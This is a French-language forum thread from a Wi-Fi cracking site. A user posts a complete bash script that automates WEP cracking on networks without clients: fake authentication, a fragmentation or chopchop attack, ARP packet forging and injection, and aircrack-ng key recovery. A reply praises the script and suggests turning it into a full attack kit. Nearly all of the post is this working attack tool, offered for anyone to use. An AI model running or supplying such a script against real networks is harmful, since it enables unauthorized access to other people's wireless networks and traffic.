Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 16-10-2011 08:19:02

ubuntrue
Membre Radioactif
Inscription : 18-08-2011
Messages : 85

Script pour les attack chochop ou fragmentation :)

Bonjou !

Je viens de rédiger un script ( en ligne de commande ) qui permet de lancer des attaques sur un réseau wep sans client, le voici :

#!/bin/bash
# simple bash script to easily launch a fragmentation or a chochop attack

function help_text(){
   cat << "EOF"

 #### Fragmentation / Chochop OPTION ####
 # This script is designed to launch fast fragmentations/chochop attack
 # very easily in a single terminal
 USAGE : Sovereign-fragmentation-chochop.sh [ OPTIONS ] YOUCARDNAME
 # ***********************************  #
 # ******* OPTIONS *******************  #
 # ***********************************  #

 # ** 0 ** [ --help ] --> print this help test
 #
 # ** 1 ** [ --bssid or -b ] --> Specify BSSID ( AP ) ((ONLY ONE))
 #
 # ** 2 ** [ -c or --channel ] --> Set channel number
 #
 # ** 3 ** [ --essid or -e ] --> Specify essid ( AP )
 #
 # ** 4 ** [ -h ] --> Specify the MAC_CLIENT ( the fake_auth )
 #
 # ** 5 ** [ --chochop ] --> Launch chochop attack
 #
 # ** 6 ** [ --fragmentation ] --> Launch Fragmentation attack ( DEFAULT )
 #
 # ** 7 ** [ --card ] --> Specify the name of yout card
 #         NOTICE that you can specify it without the
 #	   "--card" option if you specify it after the options 1-6
 #
EOF
}

function check_screen_install(){
   if [[ -z $(ls /usr/bin/screen) ]]; then
      zenity --title="GNU Screen not installed" --text="You must install screen in order to use this script,\n\
you can install it with apt-get install screen or other package manager" \
	     --error
   exit 5
   fi
}

function parse_param(){
	param_val=$1

	case $param_val in
	   '$1')
	     param_value_plus_plus='$2'
	     arg_value="ARG_2";;
	   '$2')
	     param_value_plus_plus='$3'
	     arg_value="ARG_3";;
	   '$3')
             param_value_plus_plus='$4'
	     arg_value="ARG_4";;
	   '$4')
             param_value_plus_plus='$5'
	     arg_value="ARG_5";;
	   '$5')
             param_value_plus_plus='$6'
	     arg_value="ARG_6";;
	   '$6')
             param_value_plus_plus='$7'
	     arg_value="ARG_7";;
	   '$7')
             param_value_plus_plus='$8'
	     arg_value="ARG_8";;
	   '$8')
             param_value_plus_plus='$9'
	     arg_value="ARG_9";;
	   '$9')
             param_value_plus_plus='$10'
	     arg_value="ARG_10";;
	   '$10')
             param_value_plus_plus='$11'
	     arg_value="ARG_11";;
	   '$11')
             param_value_plus_plus='$12'
	     arg_value="ARG_12";;
	   *)
		echo "";;
	esac
}






###### The Following fonction is part of SET_PARAM #######
# Determine the value to set to a variable
# [ PARAM 1 = VARIABLE_NAME ] // e.g BSSID
function Set_Param__determine_value(){

	variable_to_set__determine_value=$1
	arg_value__determine_value=$2
	case $arg_value__determine_value in
	 "ARG_1")
	 	case $variable_to_set__determine_value in
		  "AP") AP=$ARG_1; ;; "BSSID") BSSID=$ARG_1; ;; "MAC_CLIENT") MAC_CLIENT=$ARG_1; ;;
		  "CHANNEL") CHANNEL=$ARG_1; ;; "card") card=$ARG_1; ;; esac
	   ;;
	 "ARG_2")
		case $variable_to_set__determine_value in
                  "AP") AP=$ARG_2; ;; "BSSID") BSSID=$ARG_2; ;; "MAC_CLIENT") MAC_CLIENT=$ARG_2; ;;
                  "CHANNEL") CHANNEL=$ARG_2; ;; "card") card=$ARG_2; ;; esac
	  ;;
	"ARG_3")
		case $variable_to_set__determine_value in
                  "AP") AP=$ARG_3; ;; "BSSID") BSSID=$ARG_3; ;; "MAC_CLIENT") MAC_CLIENT=$ARG_3; ;;
                  "CHANNEL") CHANNEL=$ARG_3; ;; "card") card=$ARG_3; ;; esac
	  ;;
	"ARG_4")
		case $variable_to_set__determine_value in
                  "AP") AP=$ARG_4; ;; "BSSID") BSSID=$ARG_4; ;; "MAC_CLIENT") MAC_CLIENT=$ARG_4; ;;
                  "CHANNEL") CHANNEL=$ARG_4; ;; "card") card=$ARG_4; ;; esac
	  ;;
	"ARG_5")
		case $variable_to_set__determine_value in
                  "AP") AP=$ARG_5; ;; "BSSID") BSSID=$ARG_5; ;; "MAC_CLIENT") MAC_CLIENT=$ARG_5; ;;
                  "CHANNEL") CHANNEL=$ARG_5; ;; "card") card=$ARG_5; ;; esac
	  ;;
	"ARG_6")
		case $variable_to_set__determine_value in
                  "AP") AP=$ARG_6; ;; "BSSID") BSSID=$ARG_6; ;; "MAC_CLIENT") MAC_CLIENT=$ARG_6; ;;
                  "CHANNEL") CHANNEL=$ARG_6; ;; "card") card=$ARG_6; ;; esac
	 ;;
	"ARG_7")
		case $variable_to_set__determine_value in
                  "AP") AP=$ARG_7; ;; "BSSID") BSSID=$ARG_7; ;; "MAC_CLIENT") MAC_CLIENT=$ARG_7; ;;
                  "CHANNEL") CHANNEL=$ARG_7; ;; "card") card=$ARG_7; ;; esac
	  ;;
	"ARG_8")
		case $variable_to_set__determine_value in
                  "AP") AP=$ARG_8; ;; "BSSID") BSSID=$ARG_8; ;; "MAC_CLIENT") MAC_CLIENT=$ARG_8; ;;
                  "CHANNEL") CHANNEL=$ARG_8; ;; "card") card=$ARG_8; ;; esac
	  ;;
	"ARG_9")
		case $variable_to_set__determine_value in
                  "AP") AP=$ARG_9; ;; "BSSID") BSSID=$ARG_9; ;; "MAC_CLIENT") MAC_CLIENT=$ARG_9; ;;
                  "CHANNEL") CHANNEL=$ARG_9; ;; "card") card=$ARG_9; ;; esac
	 ;;
	"ARG_10")
		case $variable_to_set__determine_value in
                  "AP") AP=$ARG_10; ;; "BSSID") BSSID=$ARG_10; ;; "MAC_CLIENT") MAC_CLIENT=$ARG_10; ;;
                  "CHANNEL") CHANNEL=$ARG_10; ;; "card") card=$ARG_10; ;; esac
	 ;;
	"ARG_11")
                case $variable_to_set__determine_value in
                  "AP") AP=$ARG_11; ;; "BSSID") BSSID=$ARG_11; ;; "MAC_CLIENT") MAC_CLIENT=$ARG_11; ;;
                  "CHANNEL") CHANNEL=$ARG_11; ;; "card") card=$ARG_11; ;; esac
         ;;

	*)
	   echo "argument non valide";;
       esac
}

# $1 = param_value_plus_plus ; $2 = param_option ( e.g --essid )
# $3 = arg_value ( e.g ARG_1 )
function Set_Param(){
	param_to_set__Set_Param=$2
	param_value_plus_plus__Set_Param=$1
	arg_value__Set_Param=$3
	case $param_to_set__Set_Param in
	  "--essid")
	    VARIABLE_NAME__Set_Param="AP"
	    Set_Param__determine_value $VARIABLE_NAME__Set_Param $arg_value ;;
	  "--bssid")
	    VARIABLE_NAME__Set_Param="BSSID"
	    Set_Param__determine_value $VARIABLE_NAME__Set_Param $arg_value ;;
	  "-h")
	    VARIABLE_NAME__Set_Param="MAC_CLIENT"
	    Set_Param__determine_value $VARIABLE_NAME__Set_Param $arg_value ;;
	 "--channel")
	    VARIABLE_NAME__Set_Param="CHANNEL"
            Set_Param__determine_value $VARIABLE_NAME__Set_Param $arg_value ;;
	 "--card")
	    VARIABLE_NAME__Set_Param="card"
            Set_Param__determine_value $VARIABLE_NAME__Set_Param $arg_value ;;
	esac
}

# ARG threathed by the check_param function ...
ARG_THREATED=0

MAX_PARAM_NUMBER=11
MIN_PARAM_NUMBER=10
NBR_ARG=$#
ARG_1=$1
ARG_2=$2
ARG_3=$3
ARG_4=$4
ARG_5=$5
ARG_6=$6
ARG_7=$7
ARG_8=$8
ARG_9=$9
ARG_10=${10}
ARG_11=${11}

AP=
BSSID=
MAC_CLIENT=
CHANNEL=
ATTACK_MODE=
card=

#
# use with check_param 'param_name' ( e.g '$2' )
# $1 = NUMBER OF PARAM ( e.g '$2' )
function load_param(){


	# param_value is the identifier of the param passed to the script
	# ( e.g '$1' or '$2' )
	param_value=$1

	# param_option is the option passed to the script ( e.g --bssid )
	param_option=$2

	case $param_option in
		"--help")
                   help_text
                   exit 2 ;;
		"--essid")
		   parse_param $param_value
 		   Set_Param $param_value_plus_plus "--essid" $arg_value;;
		"--bssid") parse_param $param_value $param_value_plus_plus; Set_Param $param_value_plus_plus "--bssid" $arg_value; ;;
		"-b") parse_param $param_value $param_value_plus_plus; Set_Param $param_value_plus_plus "--bssid" $arg_value; ;;
		"-h")
		   parse_param $param_value
                   Set_Param param_value_plus_plus "-h" arg_value;;
		"--channel") parse_param $param_value $param_value_plus_plus; Set_Param $param_value_plus_plus "--channel" $arg_value; ;;
		"-c") parse_param $param_value $param_value_plus_plus; Set_Param $param_value_plus_plus "--channel" $arg_value; ;;
		"--chochop")
		   ATTACK_MODE="chochop";;
		"--fragmentation")
		   ATTACK_MODE="fragmentation";;
		"--card")
		   parse_param $param_value
		   Set_Param $param_value_plus_plus "--card" $arg_value;;
		*)
		    	if [[ $NBR_ARG -eq 10 ]]; then
		   		if [[ $param_value = '$10' ]]; then
					card=$param_option
		   		fi
			fi
	esac
}


# no param, just a fonction to check if the
# a right number of argument was passed to
# the script :)
function check_arg_number(){
if [[ $NBR_ARG -gt $MAX_PARAM_NUMBER ]]; then
	help_text

	echo ""
	echo "too many arguments ..."
	echo "Maximum is $MAX_PARAM_NUMBER"
	echo ""
	exit 2
fi
if [[ $NBR_ARG -lt $MIN_PARAM_NUMBER ]]; then
	help_text

	echo ""
	echo "too few arguments ..."
	echo "Minimum is $MIN_PARAM_NUMBER"
	echo ""
	exit 3
fi
}


# $1 SETTING NAME ; $2 SETTING VALUE
function check_validity(){
	# check if all settings are valids ...
	SETTING_TO_CHECK=$1
	SETTING_VALUE=$2
	case $SETTING_TO_CHECK in
	  "AP")
	    if [[ -z $SETTING_VALUE ]]; then
	       echo ""
	       echo "Please specify a essid ( option --essid )."
	       echo "Use the --help option for more details."
	       echo ""
	       exit 3
	   fi ;;
	  "BSSID")
	    if [[ -z $SETTING_VALUE ]]; then
	       echo ""
	       echo "Please specify a bssid ( option --bssid )"
	       echo "--help for more details"
	       echo ""
	       exit 3
	    fi
	    if [[ ${#SETTING_VALUE} -ne 17 ]]; then
	       echo ""
	       echo "Please specify a VALID BSSID"
	       echo ""
	       exit 4
	    fi ;;
	"CHANNEL")
	    if [[ -z $SETTING_VALUE ]]; then
		echo ""
		echo "Please specify a channel ( option --channel )"
		echo "--help for more details"
		echo ""
		exit 3
	   fi ;;
	"MAC_CLIENT")
	   if [[ -z $SETTING_VALUE ]]; then
		echo ""
		echo "Please specify a MAC_CLIENT ( -h option )"
		echo "--help for more details"
		echo ""
		exit 3
	  fi

	  if [[ ${#SETTING_VALUE} -ne 17 ]]; then
		echo ""
		echo "Please specify a VALID MAC_CLIENT"
		echo ""
		exit 4
	 fi ;;
	"card")
	  if [[ -z $SETTING_VALUE ]]; then
		echo ""
		echo "Please specify a wireless card ( option --card ) or specify it at the end of the command"
		echo "USAGE : Sovereign [ OPTION ] yourcardname"
		echo ""
		exit 3
	 fi ;;
	"ATTACK_MODE")
	  if [[ -z $SETTING_VALUE ]]; then
		echo ""
		echo "Please specify the attack you want to launch"
		echo "you can launch a fragmentation ( --fragmentation ) or chochop ( --chochop ) attack"
		echo ""
		exit 3
	  fi
	  if [[ $SETTING_VALUE != "chochop" ]] && [[ $SETTING_VALUE != "fragmentation" ]]; then
		echo ""
		echo "Wrong attack type !"
		echo ""
		exit 4
	  fi ;;

	esac

}

function attack_ChochopFrag(){
   screen -S frag_assoc -d -m airodump-ng -w out -c $CHANNEL --encrypt wep --bssid $BSSID $card
   screen -S create_fake_auth -d -m aireplay-ng $card -1 30 -a $BSSID -b $BSSID -h $MAC_CLIENT

   if [[ $ATTACK_MODE = "fragmentation" ]]; then
      aireplay-ng -5 $card -F -a $BSSID -b $BSSID -h $MAC_CLIENT
   elif [[ $ATTACK_MODE = "chochop" ]]; then
      aireplay-ng -4 $card -F -a $BSSID -b $BSSID -h $MAC_CLIENT
   fi
}


function attack__inject_ChochopFrag(){
   packetforge-ng -0 -a $BSSID -h $MAC_CLIENT -k 255.255.255.255 -l 255.255.255.255 -y *.xor -w arp.cap
   screen -S packet_injection -d -m aireplay-ng -3 -e $AP -a $BSSID -h $MAC_CLIENT -x600 -r arp.cap $card
}

function attack__crack(){
   aircrack-ng *.cap
}

# no param, just to kill screens running
function kill_screen(){
   screen -dr frag_assoc -X quit
   screen -dr create_fake_auth -X quit
   screen -dr packet_injection -X quit
}

function check_xor(){

   if [[ -z $(ls *.xor) ]]; then
      echo ""
      echo "No xor file detected ... aborting ..."
      echo ""
      zenity --title="No xor fie" --text="No XOR file was created, it is common with the chochop. ABORTING ..." --error

      kill_screen

      exit 5
  fi

}


# check if screen is installed
check_screen_install

# kill screen from precedent use of this script
kill_screen > /dev/null

# Set up the Variables ...
load_param '$1' $1
load_param '$2' $2
load_param '$3' $3
load_param '$4' $4
load_param '$5' $5
load_param '$6' $6
load_param '$7' $7
load_param '$8' $8
load_param '$9' $9
load_param '$10' ${10}
load_param '$11' ${11}


# check the number of arguments
check_arg_number

# Check the validity of the Values
check_validity AP $AP
check_validity BSSID $BSSID
check_validity MAC_CLIENT $MAC_CLIENT
check_validity CHANNEL $CHANNEL
check_validity card $card
check_validity ATTACK_MODE $ATTACK_MODE

echo -e "\n\n"
echo "AP : $AP"
echo "BSSID : $BSSID"
echo "MAC_CLIENT : $MAC_CLIENT"
echo "CHANNEL : $CHANNEL"
echo "card : $card"
echo "ATTACK_MODE : $ATTACK_MODE"
echo -e "\n\n"

# create fake_auth and then launch the attack
attack_ChochopFrag
check_xor

# create and inject packet
attack__inject_ChochopFrag

# cracking the key, just wait :)
attack__crack

kill_screen

IMPORTANT : il faut screen d'installé ( apt-get install screen ).

pour l'utiliser copiez le dans *.sh et chmodez le (chmod +x *.sh). La syntaxe de la commande est très proche de celle de aireplay ou airecrack ( voire l'option -h ), ce script n'a pas beaucoup d'intérêt, le seul truc interessant c'est la gestion des paramètres qu'on lui passe.

Pas très utile mais j'avais envie de le faire smile, vous pouvez toujours l'adapter ( juste en gardant la manière dont le gère les params ) à ce que vous voulez.

Dernière modification par ubuntrue (16-10-2011 08:20:02)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 16-10-2011 10:46:53

noireaude
Membre d'honneur
Lieu : Chez le docteur
Inscription : 12-03-2010
Messages : 2 362
Site Web

Re : Script pour les attack chochop ou fragmentation :)

Plop, merci il est chouette ton script. Bon, petites remarques constructives.

- Ca manque de commentaires #pour expliquer les options à ceux qui veulent étudier ton script ou le modifier. Il y en a mais tu peux encore complèter su certaines commandes.
- Perso pour éviter les confusions quand il faut des dépendances pour un de me scripts, je propose toujours un option d'installation dans le menu d'accueil. Ainsi les gens peuvent choisir d'installer les paquets manquants sans avoir à quitter le programme.
- Dernière suggestion un petit nom, un numéro de version et une petite license (GPL) et c'est top smile.

Après en ce qui concerne les menus toujours, pour ce genre pourquoi ne pas aller jusque au bout et inclure un airmon-ng, un airodump-ngn un aircrack-ng ( avec options basique) d'office ?

Comme ça tu as un kit chopchop complet smile.


L’écureuil conserve les noisettes par instinct et non par représentation, sans cela il aurait déjà bâti des congélateurs à noisettes. Karl Marx : 1818 - 1883

Ma seule certitude est d'être dans le doute. Pierre Desproges : 1939 - 1988  @lavachelibre

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.024 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]